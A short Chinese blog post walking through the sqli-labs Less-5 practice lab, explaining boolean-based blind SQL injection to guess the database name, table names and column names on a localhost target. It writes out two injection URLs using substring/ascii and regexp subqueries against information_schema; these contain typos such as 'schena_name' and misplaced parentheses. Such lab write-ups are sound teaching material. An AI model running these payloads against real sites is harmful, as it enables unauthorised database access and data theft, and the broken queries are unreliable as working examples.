sqli_labs less-5

这一关主要用到sql盲注,从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了。

接下来我们用left()判断数据库版本。

接下来我们用length() ASCII(),substring()来猜数据库名

数据库的长度为8

 

 

由此可知数据库是security()

接着我们来猜表名

这里我是直接猜的user表,我们可以通过修改substring(string,*,1)来猜表名,我们可以通过limit *,1来逐个猜表名。

http://localhost:8080/sqli-labs/Less-5/?id=1" and ascii(substring(select table_name from information_schema.tables where schena_name=database()),1,1)=117--+

利用正则表达regexp判断users中的列

http://localhost:8080/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where tables_name=users and column_name
regexp "^us[a-z]" limit 0,1) --+

上述语句时选择users表中的列名是否有us**的列

 

上图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。

 

posted on 2018-04-09 11:03  呀小王呀  阅读(125)  评论(0编辑  收藏  举报

导航